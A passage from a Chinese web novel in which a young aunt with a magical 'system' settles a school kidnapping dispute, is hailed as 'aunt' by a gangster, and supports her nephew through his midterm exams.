心情郁结，脸色也好看不到哪去，愤愤走进办公室，正准备找陆季燃算账，一瞧，翘着二郎腿坐在椅子上，手撑着下巴打哈欠的人根本不是陆季燃。 …… ？？？ 周正然以为自己眼睛花了。 “陆季燃他小姨？”周正然难以置信地喊，“你、你这是？” 池又青循声转头，站起来，眼睛一亮，高兴地说：“周老师！周老师你来了！” 负责处理这事的严老师眉头紧锁：“周老师，你刚刚喊她什么？” 周正然解释：“这位是池小姐。”他对此人的印象太深，以至于过去这么久，还没忘记她的姓名。 周正然又说：“我们班一个同学的家长。” 严老师嘴角微抽：“真是家长？” 池又青嘟嘴：“我早说啦，真是家长。” 严老师无言，问：“既然是家长，你为什么——” 周正然和严老师一块再次打量池又青的打扮。 这简直就是活脱脱的纨绔女老大啊！ 周正然的头一个比两个大。 他就知道！他就知道！ 小魔头让大魔头来管！迟早要管出问题的啊！ 周正然内心崩溃，快步走到池又青的身边，小声地说：“池小姐，这到底是怎么回事啊。” 池又青很无辜啊！ 她两手一摊，说：“他们的学生把我侄子绑了，我来救人，打电话给校长老师都没用，门卫也不让我进，我没辙啊，只能出此下策，混入敌军，阿不，贵校内部。” 严老师耳朵不聋，再加上池又青说这话的时候半分要避着他的打算都没有，声音洪亮，底气十足，搞得他的嘴角抽搐得更加厉害了。 周正然皱紧眉：“还有这种事？陆季燃被绑了？” 白盛飞接嘴：“是啊是啊，周老师，都是他们英盛的学生先动手的！陆哥午休得好好的，就被他们骗走，脑袋上甚至还挨了一棒槌呢！现在还在医务室！” 周正然看向严老师。 严老师说：“对，陆同学现在的确是在医务室，但是之前的情况，我们还在了解之中。” 白盛飞呸了一声：“有什么好了解的！就是你们学校的人先动手！” 袁源也坑坑巴巴地接嘴：“就、就是！” 周正然虽然平日 里爱和稀泥，大半的教学理想都在这几年带最差的班里磨得一干二净，但维护自己的学生，几乎是他的本能。 他拍拍白盛飞和袁源的肩膀，挡在他们面前，看着严老师：“严老师，现在的情况，你打算怎么了解？” 提到这事，严老师也很头疼：“惹事的那群小子已经被揪住，但是为首的那个不知道回事，根本没办法正常沟通。” “这还有什么好沟通的？”池又青态度很干脆，“郭允先动的手，我们都只是为了救人，这叫正当防卫。就算今天我们进了你们英盛，那也是你们门外管理不严。话又说回来，工地这么危险的地方，你们居然就这样放任学生进入，就不怕出事吗？” 严老师捏捏眉心：“这位同学，阿不，这位家长，事情不能这么说。大家都有问题，不如咱们就各退一步。” “各退一步？我再退都要掉悬崖了，还怎么退？”池又青冷声，“算账，必须算账。” “是哪个打了我儿！”严老师还没回话，一道洪亮的男声极具穿透力地响起，“是谁！” 隐隐约约还跟着一堆人的劝阻。 “郭董，郭董，冷静，冷静，事情还在调查啊！” 严老师眉头蹙得更紧，叹口气。 池又青懂了。 严老师这是怕这事闹大谁都不好过。 周正然忙用眼神示意白盛飞和袁源往屋子里站，别靠近即将爆发的战争前线，又示意池又青要不起身避避。 池又青下巴一抬：“我避他？他也配？” 她这辈子还没避过谁呢！ 两手一插兜，她往办公室门站，探出头，跟邀请人来作客吃饭一样，语气亲切：“郭允同学的爸爸？” 郭董看着她：“你是？” 池又青摆摆手：“来来来，我有事跟你说。” 郭董眉头皱起，却还是迈开脚步，走近池又青，问：“什么事？你知道是谁打了我家宝贝？” 池又青非常认真地点头：“我知道啊，就是我。” 郭董：“……？” 郭董：“…………” 池又青看着眼前的中年男人变得极为难看的表情，嘲讽地说：“不用谢，顺手帮你教训一下而已。” 郭董怒气积聚，如一团巨大的乌云，两眼盯着池又青，阴狠意味十足。 周老师被池又青这一手骚操作吓得浑身冒汗，赶紧上前，严老师也跟着，两人都想劝郭董冷静。 “冷静？”郭董抬手将严老师推开，“我每年给你们学校投钱，可不是为了冷静。” 池又青满脸不屑：“这事还能不能解决了？叫警察没啊？我没空看你们表演啊。” 郭董咬牙：“小丫头片子，你算什么东西？” 他抬手就要赏池又青一耳光，池又青的脚丫子蠢蠢欲动，准备踹上去呢，就见郭董的动作被阻止。 梁骁站在一旁，说：“郭叔。” “小骁啊。”郭董说，“你来得正好，快帮叔叔教训他们，他们欺负你允弟啊。” 梁骁低眸，说：“郭叔，是郭允先绑人的。” 郭董愣了下，不敢置信：“那又如何？我儿子现在神志不清，都是他们造成的！” 白盛飞忍不住呛一句：“那我们陆哥还在医务室昏迷呢，也是你们造成的啊！” 郭董知道这事非要说理的话，根本说不清，他脸上的横肉一甩，对着严老师施压：“严老师，我不管，今天这件事你必须给我一个交代。” 严老师一口老血哽在心头：“……” 他今天就不该值班！ 郭董为了彰显自己的势力，甚至打电话把校长也摇了过来。 “等着吧。”郭董直接拉出一把椅子，堂而皇之地坐下，“我倒要看看今天的事你们怎么收场。” 他坐在那，就像是在等待即将到来的胜利。 池又青的耐心已经近乎没有。 裴珩来得正是时候，风尘仆仆，一贯出现在池又青面前都打理得当的男人现在却扣错了领口纽扣。赶到的第一件事是走到她的面前，问：“没事吧？” 池又青摇摇头，朝他伸手。 裴珩将电话拿给她。 刚刚在让严老师打电话请家长的时候，池又青就跟裴珩说了车门密码，让他替自己顺道把手机拿过来。 池又青跟周老师说：“我出去下，打个电话。” 郭董呵斥住：“你想跑是不是！就在这打！” 裴珩的眼神钉在郭董的脸上，过于有威压，以至于郭董呼吸一滞。 池又青没看见裴珩的动作，也没所谓郭董的话语。 在哪打都一样。 不就是摇人吗？ 就他会？ 电话一接通，池又青喊：“干妈。” 电话那头的女人说了什么，在场的所有人都听不见，只能看见池又青的表情，一直带着笑。 郭董心下不屑。 他在江城混了这么多年，可没见过眼前这丫头。 只怕是又在虚张声势。 他又去看严老师，怨其不懂事，等待会校长来了，就知道谁才该是这里说得上话的人。 等啊等啊。 郭董都没等到校长出现。 他反复地抬手看自己的腕表，时间流逝，他有点急了，又不想当着这么多人表现出来，只能一会摸摸自己的头发，一会改变坐姿，一会拿出手机拨弄两下。 等电话铃声响起的时候，郭董想也没想，张口就说：“你行不行啊，来这么慢，搞什么东西。” “等等——” “什么？！？” 郭董听着耳边冷酷的电话挂断忙音时，人还没回过神来。他明明坐在椅子上，却觉得自己整个人都在飘。太不真实了。假的吧？不可能吧？诈骗电话？ 郭董没显露自己的心绪，强撑着又去联系其他人。 可是折腾半天，他得到的消息只有一个。 十分确切的，不可置疑的一个。 “被除名了？”池又青一眼就看出他的情况，“郭董，这下还要我好看吗？” 郭董的脸青一阵白一阵：“不可能，这不可能。” “没什么不可能。”池又青怜悯地瞧着他，“郭胜坤，你被董事会除名了，你的儿子，也会被英盛开除。托你的福，英盛这下要改头换面了。” 郭董心里咯噔一下，知道自己这次大概是惹上了不该惹的人。 但他还不死心。 就算这丫头有身份背景又如何？强龙不如地头蛇。他咬紧牙，又打了个电话。 “龙哥，帮个忙。”他低声下气地请求，“我在学校呢，出了点事。” 池又青总觉得龙哥这称呼有点耳熟，一时半会又想不起来在哪听过。 等龙哥本人到来，身后还跟着一黄毛，见到她第一反应就是大声地喊“干妈”时，池又青稳如老狗的表情终于有了一丝裂缝。 逆蝶的………… 真当她的人生是东北铁锅炖，什么都凑一块了是吧？ 她心里有一瞬间的慌乱。 郭董瞧出来，心下大喜：这丫头终于知道怕了！ 他的策略果然没错！ 殊不知，池又青怕的不是梁飞龙的势力，而是觉得自己当时一时兴起随口扯的胡话实在是有些荒谬。 看着这满身腱子肉，就算穿着衣服也能看出魔鬼胸狗熊臂形状的大叔，池又青真有点沉默。 干妈？ 亏她想得出来。 要是这谎言在这被戳穿，真有点丢人。 052跳出来提醒她：【宿主，你上次完成主线任务，奖励了的道具，还有一个没用呢。】 池又青诶一声：【啥道具？】 刚问完，她的眼前就跳出一个金光闪闪的道具获得旷，框内，耀眼的光勿扰特效包裹着一个小小的卡片。 百分百认亲卡。 好像是有那么点用处，但她怎么感觉也有那么点微妙呢？ 池又青硬着头皮点了。 按下去的那瞬间，无事发生。 跟上次使用暴击卡不一样，她的眼前没有出现任何提示道具正在起作用或预告使用时限之类的东西。 哦豁。 池又青想：这把要玩脱了。 裴珩察觉出她的不对劲，低头 轻声问：“还好吗？” 池又青摇摇头。 不好，她一点都不好。 裴珩神色一冷，对她说话的时候，语气却依旧温和：“别担心，有我在。” 池又青笑不出来。 哈哈。 这又不是数学题讲学现场，有你在有什么用啊？ 郭董抓住这让池又青尴尬的瞬间，忙对梁飞龙说：“龙哥，就是她，这臭丫头！” 梁飞龙看了眼池又青，池又青心虚地移开目光。 “啪——！” 响亮无比的巴掌声。 池又青嘴巴微张，瞧着眼前发生的一切。 郭董被一个男人直接扇到了一旁！ 啊？ 这是什么情况？ “会不会好好说话？”梁飞龙凶神恶煞的脸在看向池又青的那一瞬间露出了非常认真的尊重，“这是我姑妈。” 池又青啊了一声，掏掏自己的耳朵：“什么妈？” 梁飞龙对着她礼貌地微微鞠躬：“姑妈，好久不见。” 池又青：“……” Σ（⊙▽⊙“a！ 什什什什什么妈？！ 在场所有人全都因为这句话惊住。 黄毛叫得最大声：“姑妈？！龙哥，这不是你干妈吗？！” 他一口气说：“就是那个死了老公的寡妇富婆啊！” 梁飞龙一巴掌拍上他毛躁躁的脑袋，黄毛嗷一声，捂着头蹲下。 梁飞龙骂他：“胡说八道什么！” 黄毛眼泪汪汪，嘤嘤两声，心想：他没记错啊！ 池又青怜爱地瞧他，也想：对，你没记错啊！ 【这是怎么回事？】池又青问052，【我怎么还换身份了？】 052答：【宿主，这都是随机的。】 嘴角微抽的毛病终于从严老师身上传染到池又青的身上了。 行叭。 姑妈就姑妈吧。 梁骁的眼睛在池又青和自己老爹身上来回看，始终不相信：“爸，你什么时候有这么个姑妈了！” 梁飞龙也说不明白，但他见到这个女孩的第一眼，就知道，她是他的姑妈。就好像是来自基因本能的东西在作祟一样，让他想要尊敬她，敬仰她。 到梁飞龙这个岁数，长辈已经不多了。他一贯重视这些，不然也不会在师父去世以后，拜师娘为干妈，就是为了给她撑底气，让她以后再找别的小老头的时候，不至于被看轻了去。 师娘尚且如此，更何况是自己的亲姑妈？ 梁飞龙严肃的眼神落在自己儿子身上：“小骁，注意礼貌，快，喊姑奶奶。” 梁骁：“……？？？” 池又青嘴角再次微抽。 之前见到梁骁和郭允的时候，她还在心里说呢。 管这些臭小子在家里是小太子还是小皇帝，到她这，都得乖乖当个小孙子。 好家伙。 真给干成孙子了。 白盛飞和袁源在一旁看得眼珠子都挂不住了。 老天啊！ 还有这种展开吗？ 要是梁骁是小姨的孙子，那陆哥是梁骁的啥？一想到这，白盛飞和袁源都背部都挺得更直了。 郭董没料到一个电话摇来的帮手成了对面的有力支撑。 他再也无计可施。 终于清楚地意识到，不管是飞龙抑或地头蛇，他都不是眼前这小丫头的对手。要让他求饶绝不可能，他只能咬咬牙，灰溜溜地滚蛋，还不忘带走他那神志不清的儿子。 郭允到现在都没从幻境中醒来。 池又青望着他们的背影，问052：【这幻境效果这么强的嘛？】 052说：【这要取决于郭允自己，他什么时候真心悔过，意识到自己的错误，幻境就会消失。】 池又青微微扬眉，心道，那郭允还真是活该。 她看了眼时间，跟周老师打声招呼，致使裴珩扶着陆季燃，准备还是带陆季燃去医院，着重要照一下脑补CT。 这孩子的脑子可不能出事啊。 期中考还没考呢！ 周老师拿她没办法，让他先走，自己在这等白盛飞和袁源的家长赶过来，好跟家长汇报解释情况。 “严老师，有水吗？给我倒杯吧。”周老师赶过来得很着急，嗓子眼一直冒烟呢，现在才有底气要讨要一杯水。 没别的，就是陆季燃他小姨这操作，一下让他腰也不痛了，背也打直了，整个人都神清气爽了。 哎。 也是他这等土鳖围观上了。 梁飞龙非常热情地跟池又青交换了手机号，拍着胸脯保证，以后在江城有什么事，尽管给他打电话，又把瘪着嘴的梁骁推出来，说：“姑妈，要是找不到我，就找我家这个臭小子，随便你怎么指使。他反正是个学习不中用的，每天都没什么事干。” 梁骁无语：“喂，老东西——” 梁飞龙一巴掌拍上他的背：“没礼貌！” 池又青啧啧两声，盛情难却，说：“好的，我会的。” 她冲着梁骁微笑，梁骁头皮发麻，下意识想要往自己老爸伟岸的身躯后躲。 完成每日充当大灰狼吓跑小孩的kpi以后，池又青跟着裴珩按计划去医院。 一条龙折腾下来，陆季燃啥事没有。 安静地睡在病床上，不闹腾的时候，还挺顺眼的。 裴珩拎着一个小袋子走过来。他刚刚跟池又青说出去一趟，池又青没深究，现在发现，他方才应该是去买药水了。 正茫然裴珩整这个做什么，就见男人把袋子递给她。 “池小姐。”他说，“给你。” 池又青：“啊？” 裴珩的眼神落在她的指尖上。 那有一处小小的口子，不算深，只是看着有些吓人。血早就凝干，伤口处是深红一片，跟周遭的白皙皮肤格格不入。 池又青才注意到，她没所谓地说：“不用啦，也没多严重。” 她一直没发现呢。 什么时候弄伤的？ 池又青努力回想了下，估计是自己教训那群小跟班的时候，不知道在谁的身上挂了下。 “伤口虽小，但如果不消毒清理，也可能会引发感染等后果。”裴珩的袋子钓在指尖上，眼眸定定看着池又青。 池又青没辙，把手伸过去：“不想弄，你来。” 她想着小作一下叫裴珩知难而退呢，哪知道裴珩就单手扯来一旁的椅子，坐下，把袋子放在膝盖上，打开。他将一次性的碘伏棉签弄好，低眸，很认真，很专心地替她处理。 指尖痒痒的。 这个角度，池又青能够看到男人细密的长睫。 “裴老师。” “嗯？” 裴珩没抬头，所有的注意力都放在她那点要是再晚点处理就会马上愈合的伤口上。 池又青心里忽得一动。 “你这样……” 裴珩将完成使命的碘伏棉签拿开，取出双氧水，一边拧瓶盖，一边看她：“怎么？” 池又青嘿嘿一笑：“有点像我妈啊。” 她在学校惹事，都是她妈来替她擦屁股，比她还要快递发现她受伤的地方，又替她处理。 跟裴珩完全一样啊！ 裴珩用棉签蘸取双氧水的动作一顿，看见她笑得真切又明媚的眼眸里映照出自己略有几分错愕的模样。 微微移开目光，裴珩一边继续替她处理，一边说：“能有几分像阿姨，是我的荣幸。” 裴珩取出棕色的创口贴，作势要替池又青贴上。 池又青有些抗拒，手往回缩，讲：“不要这个颜色，丑。” 裴珩无奈，起身，说：“等我两分钟。” 池又青眨眨眼，两分钟后，手上多了个粉红小兔子创口贴。 “裴老师，在哪买的啊？这么快。”她好奇。 裴珩没说。 等池又青和他一起领着好不容易醒过来的陆季燃离开的时候，有位胸前夹着身份牌的白大褂阿姨走过来，见到裴珩，热情地喊：“小伙子，你家小朋友用上创口贴了吗？” 裴珩脚步一顿。 陆季燃人刚清明，瞧见这一幕，又给搞迷糊了。 “裴老师有孩子了？”他问。 池又青呵呵一笑：“他有个锤子。” 池又青总算明白这创口贴是从何而来了。 耳根发烫，指尖似乎被灼烧，她下意识把手掌藏进衣兜里，不敢让这位心善的阿姨医生看见，做完这动作后，又有点恼羞成怒，一脚踩上裴珩的鞋。 男人擦得干净的皮鞋上顿时多出一团灰色的脚印。 不管裴珩的反应，她拽着陆季燃就先走。 “小伙子，没事吧？”白大褂阿姨关切地问。 裴珩摇摇头：“没事。” 白大褂阿姨看着他，心想，你这可不想没事的样子啊。 笑这么开心做什么？年轻人，你刚刚可是被踩了啊！ 裴珩的 电话适时响起，他同白大褂阿姨说了声抱歉，走到一边接通。 “小珩。”电话里的女人语气有些担心，“我听你爷爷说，你最近也在江城？能不能帮我去英盛看看，到底是发生了什么？白姨的干女儿，也就是你奶奶之前跟你说的那个娃娃亲对象，她好像在江城遇到事了。” 裴珩：“好的，白姨，我知道了。” 白姨又说：“哎，我干女儿特别可爱，可惜你俩没缘分，最主要的是，又青她没这个意思。别看她是个小姑娘，主意大着呢。以前她小的时候，大人们还能拿婚约这件事逗她，等她长大一些，谁要是敢在她面前提这件事，她都要跟人急。” “算了算了。”白姨自顾自说到这，又后悔起来，“要不你还是别去帮我看了，我找别人。” 裴珩微微扬眉：“为什么？” 白姨理所当然地说：“她那么讨厌那个所谓的婚约，要是知道我还特意请你过去，那还得了？小珩啊，你也真是的，去哪不好，去江城做什么？到时候你俩要是在路上碰见，她认出你来，指不定要做什么。要是到时候你被揍，我可不帮你啊。” 裴珩哑然失笑：“白姨，夸张了。” 白姨：“不夸张，一点都不夸张，熟悉她的人都知道，这丫头啊，就是个小豹子，不发火的时候看起来像大猫猫，一发火，啧啧——” “嗯，确实。”裴珩看着自己鞋尖上留下的小豹子爪印，如是说道。 30-40 第31章 第31章我勒个乖乖。 陆季燃又又又又上校园墙了。 这回完全是因为在英盛发生的事都传开了。 甚至越传越离谱。 什么陆哥被英盛的外星人绑走了，或者天降神兵一个打十个，还有人说陆季燃把英盛的校长打了，所以英盛这两天闹着换校长，整顿校董会。 陆季燃听到白盛飞在自己耳边说这些乱七八糟的八卦时，心里除了无语还是无语。 又听白盛飞捧着脸蛋，做少女娇羞状，语气里满是崇拜地说：“陆哥，你当时是晕了，可没看见啊，咱小姨的身姿，有多飒爽，多威武。” 就连袁源也赞同地点头。 要知道，这家伙以前除了吃就只会吃啊！现在居然开始在乎其他事情了！ 袁源激动地说：“小、小姨，是这个。” 他饱满的大拇指努力地竖起。 白盛飞附和：“陆哥，真的太可惜了，你都不知道你错过了什么。我草，我跟你说，经过昨天一战，我对着游戏之神发誓，从今往后，我在这个世界上唯一的女神就是咱小姨！” 陆季燃本来就怄自己昨天蠢笨，着了别人的道，牵连池又青和兄弟，到最后还要池又青收拾残局。现在听到这两人一口一个咱们小姨，心里更是气不打一处来。 袁源拆台，说：“老、老白，上次那个翻墙的，不、不是你女神了吗？” 白盛飞可惜道：“帅是帅，但没脸啊。不过我越想越觉得，这位的身手跟小姨很像啊？卧槽，该不会是同一个人吧？” 白盛飞越想越觉得是，干脆掏出手机，给池又青发消息，问她那天是不是在后门见过。 池又青说：你才发现？ 白盛飞握着手机，唰地一下从位置上站起来，嗓子眼里发出一声尖叫：“卧槽啊啊啊啊！” “是她！是她！我的女神就是她！” 陆季燃捂着耳朵：“你疯了？” 白盛飞对池又青的崇拜之情已经难以抵挡。 他清清嗓子，对着陆季燃和袁源非常郑重地宣布：“我白盛飞就把话放在这了，从今以后，我，白盛飞，有且只有咱小姨一个女神。” “小姨！你的女神！我的女神！世界的女神——呀！” 陆季燃一脚把他踩在脚下的椅子踹住，白盛飞不得不赶紧爬下来，不再发神经一样站在凳子上讲话。 “是我小姨。”陆季燃纠正。 白盛飞哎哟一声：“陆哥，别这么小气嘛。” 袁源也连连点头：“小、小姨好，大家都、都喜欢。” 吵闹间，有个人背着书包从前门进入。陆季燃抬眸看着他，眼神锐利得像羽翼刚刚丰满起来的雏鹰。 “起开。”陆季燃对着挡在他面前的白盛飞说。 白盛飞敏锐地察觉出不对，顺着陆季燃的眼光看过去，不明白地皱起眉头：“刘钊？陆哥，你找他有事啊。” 陆季燃扯起一边嘴角：“是有点事。” 刘钊从走进教室那一刻就已经开始心虚害怕，感受到陆季燃看过来的目光，他更是下意识把脖子往校服领口里一缩，拉紧了双肩包的带子。 郭允这个蠢猪。 怎么这点事都办不好？ 他从昨天开始，在校园墙上刷到陆季燃在英盛出事的消息，本来是有点高兴的，还有些窃喜，想着，陆季燃这下不能再嚣张了。 发生这种事也不能怪他，是郭允找到他，威胁他，让他把陆季燃约出来。他只是迫于威胁，做了这件事。 但很快，刘钊发现不对劲。 这陆季燃在英盛出的事怎么和他想得不一样啊？ 郭允不是说要陆季燃好看吗？ 刘钊还等着他被揍个落花流水，从此失去九中校霸的名头，更不能在班上作威作福。 哪知道…… 被揍得落花流水的人是郭允。 被开除的人也是郭允。 无法作威作福的人更是郭允。 刘钊一整晚都没睡好觉！ 他担心陆季燃来找他算账。 现在，他的担心果然成为了现实。 不慌不慌。 刘钊劝说自己：陆季燃不知道是他呢，他昨天是花钱让找校园里打扫卫生的阿姨去叫陆季燃的。 不慌。 看着眼前这个站在自己的课桌前的人，刘钊抱紧怀里的书包，问：“陆哥，有、有事吗？” 陆季燃身子往后一靠，坐在一旁的桌子上，看着刘钊，说：“你紧张什么？” 刘钊眼珠子慌得到处乱跑，嘴上却说：“没啊！” 陆季燃不说话，一双眼沉沉地看着他。 草。 刘钊想，这还不如直接对他动手呢，早死早超生，不说话算什么啊？ 他替自己找补：“那什么，陆哥，这不是因为马上要十一月期中考了吗，我复习不够，有点慌。” 陆季燃哦了一声：“刘钊，你成绩挺好的吧。” 难道是陆季燃是来问他学习的？ 紧抓着书包的手微微放开，在自己擅长的领域，刘钊显得放松许多，仰着头看着陆季燃，眼神里有点小骄傲：“还行吧，也就咱班前几名。” 跟着过来看热闹的白盛飞最不喜欢他这样，嗤笑一声：“咱们前几名算个球啊，谁不知道咱班什么水平？” 刘钊的表情因为这句话而难看起来。 陆季燃朝着他勾勾手指，刘钊不明所以地放下书包，站起身，小声地喊：“陆哥，咋了？” 陆季燃扬起嘴角，凑到他的耳边，说：“我知道是你做的。” 刘钊浑身一僵，干笑两声，说：“陆哥，你说、说什么呢。” 他边说身子就往后撤。 陆季燃的手一下抓住他的校服领口，几乎快要把刘钊拎起来。 刘钊要被吓死了！ 他看见陆季燃抬起手，下意识闭上眼，偏过头。想象里恐怖的拳头却没砸下来，取而代之的，是很轻柔的动作，他的肩膀被人拍了拍，就像是陆季燃在替他拂去上面根本不存在的灰尘一样。 接着，他听到陆季燃说： “你放心，我答应了我小姨，不随便动手。” “但是刘钊，这次期中考，我会考过你。” 刘钊不可思议地抬头，看见陆季燃的眼睛亮得可怕。他是真的相信自己说的这句话。 刘钊却一点也信。 他甚至笑出声：“考过我？” 谁不知道陆季燃的考位是全校最固定一个，不管多少次，都是最后一个。 他刚刚所有的担心和害怕全都没了，推开陆季燃，傲 慢地理了理自己的领口，故意大声地说：“好啊，陆季燃。” “要是你这次期中考成绩比我好，我刘钊就滚出十八班！” “但是如果你没有。” 刘钊双眼恨恨地看着他：“那滚的人就是你！” 陆季燃说：“可以，一言为定。” 刘钊瞧见他满不在乎的表情，心想，这人真是疯了。 居然敢跟他比学习？ 白盛飞也以为自己听错了，在全班同学瞩目的眼光下，他跟在陆季燃的身边，追随着他回座位，并且反复询问确认：“陆哥，陆哥，你没事吧？是我耳朵出问题了还是你脑子出问题了？” 陆季燃瞧他一眼，懒得废话，拿出耳机塞进耳朵里，双手搁在桌面上，闭上眼就是睡。 白盛飞嘴巴大张。 搁旁边站了好一会，在老师进来之前，小心翼翼地伸手，摸了下陆季燃的额头。 凉的，正常，没发烧啊！ 难道陆哥也跟郭允一样，突然中邪了？ 直到11月期中考前一天，白盛飞在心里还琢磨这件事呢。 他私下偷偷跟池又青汇报过这情况。 是的，他现在已经恬不知耻地成为了池大小姐驻高二十八班专属情报员。 池又青早就从052那听说了陆季燃被郭允绑走这件事的始末，本来还打算挑个时间去学校替陆季燃撑场面，现在知道这小子居然会自己给自己找场子，也就放手没管。 没动手打人，没暴力解决问题。 这么一想，不管陆季燃学习成绩进步多少，在某些事上，他已经有了显而易见的进步。 052作为改造系统，成天担心她给陆季燃带去负面影响，劝她别一言不发就扇人，一会把校霸拐沟里咋整？ 现在看起来，她还是有点正向影响的嘛=w= 池又青可不想又因为陆季燃打架的时候再去一趟教导主任办公室，没别的，纯受折磨，比孙悟空被唐僧念经还难受。 小孩有小孩自己的解决方式。 池又青便没掺和，每天抱着速写本复健。太久没画画，手生得不行，她发现不管是学习还是画画，这东西就跟运动一样，得长期坚持。 唯一的差别是，运动锻炼的是身体肌肉，思考这件事，锻炼的是大脑。 有裴珩和一甘家教在当学习监工，池又青安心地当起甩手掌柜，只做自己的事。 为陆季燃的期中考唯一做的贡献，就是监督他考试前一天不准洗澡。 正拎着要换的衣服准备进浴室的陆季燃：“？” 这什么操作？ 一贯最爱挑剔他个人卫生与穿着打扮的人现在反常地坚定：“不能洗澡，也不能剪指甲，听见没？” 陆季燃不懂：“为什么？” 池又青拿起自己的小册子，瞧着上面的记录，念到：“反正就是不准，对了，我让裴老师给你挑了盆红花，还有文竹富贵竹，一会他给你送上来，你记得按照我发的消息，放到指定的方位。” 陆季燃嘴角微抽，想不通：“这至于吗？” 他很不信这套：“放这么多，不会彼此冲撞吗？” 池又青呸呸呸三声，瞪着陆季燃：“尔等小儿，休要胡言！” 这就算了，第二天一早，就是陆季燃要期中考那天早上，她还一反常态地起了个大早，给陆季燃发消息，让他下来吃早饭。 陆季燃还以为池又青抽风呢。 这段时间以来，他已经琢磨透他这位古怪小姨的作息，能熬夜就绝不早起，白天像猫一样，如非必要，不爱出门，在家找个地方窝着就能昏迷。 你说她不健康吧，她又能在苏醒时间完成锻炼健身复健学习等各种操作。 总之，就是很诡异。 陆季燃对自己：可能成年人有自己的生物钟。 那么问题来了，池又青今天怎么起这么早？ 打着哈欠晃荡下楼，池又青的家门已经为他敞开。进门一瞧，餐桌上摆着堪称小国宴的早餐，裴珩竟然也在。 陆季燃朝着这位兼职家教的邻居点头问好。 “快来快来。”池又青一把拉开椅子，把陆季燃直接摁在座位上。后者看着眼前的鸡蛋，油条，红枣，菠萝……陷入深深的思索。 池又青同他说：“这个鸡蛋是我煮的啦，油条是你裴老师出门去买的，不过他们家豆浆味道不好，裴老师又给你打了新的，红枣和菠萝都是涂个彩头，你吃口就行。” 吃这么多真的不会太杂以至于上考场窜稀吗？ 陆季燃朝着站在一旁的裴珩投去求助的目光。 裴珩一派他也没辙的模样，显然是打算顺着池又青的意思来。 “啊！还有！”池又青恍然想起什么，踩着拖鞋啪嗒啪嗒地跑进房间，又跑出来，手里拿着一块小小的红色布包，“这个你也带上，里面有我求的文昌符。” 陆季燃把这小玩意握在指尖，来回端详，沉默一瞬，问：“你自己做的？” 池又青嗯了一声：“很简单啦，问题不大。” 陆季燃看着她，又看着满桌的东西，心里鼓鼓胀胀的。以前每逢期末，他总是听白胜飞调侃，说他妈好迷信，早上又给他吃鸡蛋。那个时候还觉得可笑。 现在轮到他，陆季燃压根说不出话来。 原来这个世界真的会有比你还要在意你。 陆季燃攥紧池又青手工缝制的护身符小兜，将它放进包里，又拿起筷子，一言不发地吃起来。 他眼眶有点热，却不想哭，情绪堵在嗓子眼，属于少年的骄傲让他不想现在就把一切泄出来。 陆季燃心里更是加强了这次要拿个好成绩的决心。 不然哪里对得起池又青这样的关注？ 池又青和裴珩陪他吃完饭，一道送他到校园门口。 裴珩拿出一块巧克力，递给陆季燃：“最后一门考完，如果饿了，吃点补充能量。” 陆季燃接过，嗯了声，说了句谢谢。 目送着陆季燃走进校门，池又青双手赶紧握紧，转头问裴珩：“裴老师，你说我往哪个方向拜，能让陆季燃这次的考试成绩更好一点？” 裴珩无可奈何：“怎么感觉你比陆季燃还紧张？” 池又青扬起下巴：“当然啊。” 陆季燃这把考试失败，对他的人生没什么影响，可是对她影响很大啊！！ 她还指望着陆季燃这次擦边过线，卡着188的名次进步，让她完成任务，多拿一点成就点救老妈呢。 陆季燃—— 你可千万不要掉链子啊！ * 江城九中的考试安排得非常紧凑，高二六门，两天考完，就连平日里不上的晚自习也被用上。 所有的考生按照成绩排名分布在不同的考场，陆季燃这一次就和之前一样，蜗居在自己的吊车尾老家。 教室已经在前一天的全校动员里打扫得干干净净。 班上不少同学也和他一样，都盘踞在这，跟古时候占山为王的家伙没什么区别。 刘钊是十八班少数不在自己教室和隔壁教室考试的人。 他上次十月考试比陆季燃这个倒数第一多219名，考场所在地在四楼。 考第一堂语文，他特意跑回教室，一脸轻松地在位置上坐下，又晃到陆季燃的面前：“陆哥，你今天发挥怎么样？” 陆季燃不跟他说话，考试一结束就戴上耳机，许是因为他的表情太过严肃，班上之前一考完就爱闹腾的同学都不敢吱声。 瞧他这样，刘钊更是觉得陆季燃的发挥出了问题。 还跟他赌学习呢？ 就会打嘴炮啊！ 刘钊难掩得意，敲敲陆季燃的桌子，提醒：“陆哥，别忘了，我们的赌约。” 陆季燃看傻逼一样看他：“滚 。” 白盛飞走过来，示意袁源行动。袁源一屁股把刘钊挤开。 两人就跟哼哈二将一样，一左一右地把陆季燃围着，坚决做好了不让闲杂人等影响陆季燃状态的准备。 第一天考完，陆季燃收拾东西，拎着书包出教室，瞧见有点下雨，烦躁地蹙紧眉头。换做以前，他肯定想也不想把书包顶在脑袋顶上，可是现在不行，书包里还装着书和错题册呢。 白盛飞也没带伞，哀嚎着：“老天你发癫啊！” 袁源倒是很有准备，从书包里摸出一把伞，只是三个人打一把伞，对他们的尺寸来说，实在是有些挤。 陆季燃着急回家看书，让白盛飞和袁源打着，他先走一步。 把书包正面背在胸前，扯开衣服再将书包笼住。 陆季燃咬咬牙，冲进雨里。 一门心思埋着头跑步，刚出校门，就被人喊住。 “陆季燃！”很清亮的声音。 他回头，看见他的小姨撑着伞，快步朝自己走过来，眼神里是真切无比的担心。 池又青碎碎念：“你笨啊，你是考生诶，这么重要的时候，淋雨做什么？明天还有数学和地理这两门重头戏，感冒怎么办？” “傻子，愣着做什么？进来。” 池又青伸手把他往自己身边一拽，这伞很大，尽管如此，陆季燃依旧看见伞沿微微向自己所在的方向偏斜。 他抱紧里胸前的书包，一声不吭，跟随着池又青脚步的节奏，踩着一圈一圈雨水落到地面上泛起的涟漪，往回家的地方走去。 池又青什么都不敢问。 自己当学生那会，考完试就放飞自我。她的好朋友陈念属于一考完就要对答案的类型，她不一样，极其擅长做完一件事就将之抛之脑后。不管再重要的考试也一样。因为池又青始终觉得，考也考了，题也答了，对答案，估成绩，不也影响不了结果吗？ 还不如去玩。 轮到她当家长，她发现，她就做不到和之前一样潇洒了。 把陆季燃送上楼，池又青走楼梯回家，裴珩就在门口等她，瞧见她的时候，眼神似乎在问‘怎么样’。 池又青立刻比了个嘘的手势，抬眼看看上面，唯恐说话大声叫陆季燃听见，对着裴珩比比手势，让裴珩凑近点。 她小声地说：“我瞧不出来，感觉发挥可能不太好。” 毕竟陆季燃平日里这么张扬不羁的性子，在家做练习题对了的时候都要嗷呜大叫，要是考得不错，手感还行，只怕不是现在这样的表现。 池又青心里有点小小地怨052。 